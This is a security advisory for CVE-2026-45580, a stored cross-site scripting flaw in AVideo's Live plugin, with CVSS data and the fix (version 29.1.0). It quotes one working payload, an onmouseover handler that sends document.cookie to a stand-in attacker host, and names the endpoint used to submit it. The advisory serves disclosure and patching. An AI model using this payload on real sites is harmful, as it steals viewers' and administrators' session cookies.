Cross-site scripting in AVideo - CVE-2026-45580
Published: November 11, 2026
Vulnerability identifier: #VU165915
CSH Severity: Low
CVSS v4: 5.1 [CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N]
CVE-ID: CVE-2026-45580
CWE-ID: CWE-79
Exploitation vector: Remote access
Exploit availability:
No public exploit available
Vulnerability details
The vulnerability allows a remote user to execute arbitrary JavaScript in viewers' browsers, including administrators' browsers, within the AVideo origin.
The vulnerability exists due to missing HTML-attribute escaping in the Live plugin's modeYoutubeLive.php template when rendering stored stream keys, resulting in stored cross-site scripting. A remote user can use canStream rights to submit the key payload " onmouseover="fetch('//attacker/x?c='+document.cookie)" x=" through plugin/Live/saveLive.php and lure visitors to hover over the live-page title to execute JavaScript and disclose accessible cookies.
Affected software
AVideo
How to mitigate CVE-2026-45580
Install security update from vendor's website.
AVideo - update to 29.1.0